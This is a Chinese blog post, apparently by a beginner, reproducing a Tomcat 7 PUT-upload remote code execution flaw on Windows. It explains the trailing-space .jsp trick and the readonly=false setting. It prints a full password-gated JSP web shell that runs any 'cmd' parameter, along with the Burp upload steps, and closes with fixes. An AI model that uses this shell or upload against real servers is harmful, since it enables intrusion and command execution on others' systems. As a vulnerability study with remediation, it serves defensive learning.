其他分享
首页 > 其他分享> > Tomcat远程代码执行漏洞复现

Tomcat远程代码执行漏洞复现

作者:互联网

复现环境:win7下配置的tomcat7环境

漏洞原因:

Tomcat 的 Servlet 是在 conf/web.xml 配置的,

1、在这个xml里能看到,当后缀名为*.jsp、*.jspx时,是用JSP serverlet处理请求的;其它的使用Default serverlet,如图:

2、在该xml的default serverlet里添加一个

3、“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时,会调用 resources.bind:dirContext 为 FileDirContext:调用 rebind 创建文件:

又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。(这里没太看懂,不知道这个具体的调用过程是写在哪里的,权且记下来把)

漏洞复现过程:

(1)修改web.xml,在default serverlet里加上readonly并设值为false。(上面有了,不贴图了)

(2)访问tomcat的网站,就是IP:8080,抓包(这里burp的代理端口和tomcat的端口撞了,把burp和浏览器对应端口改一下,然后给burp加一个上层代理即可)

 

(3)把方法改为PUT,然后PUT一个test.jsp,内容如下

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) 
{
    StringBuilder line = new StringBuilder();
try 
{
    Process pro = Runtime.getRuntime().exec(c);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String temp = null;
    while ((temp = buf.readLine()) != null) 
    {
        line.append(temp+"\\n");
    }
    buf.close();
} 
catch (Exception e) 
{
    line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
    out.println(":-)");
}
%>

如图:

 

 返回了201created,那就是成功了

(4)浏览器访问一下该jsp,得到一个表情,因为没给pwd和cmd参数

(5)给上参数,执行了代码

漏洞修复:

(1)改用别的版本的tomcat,在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞

(2)禁用PUT和DELETE

(3)把readonly改为true

参考自该链接:https://www.freebuf.com/vuls/150203.html

萌新,有什么不妥的,望大佬告知

 

标签:xml,Tomcat,漏洞,burp,jsp,代码执行,PUT,serverlet,复现
来源: https://www.cnblogs.com/mY-bL0g/p/12885120.html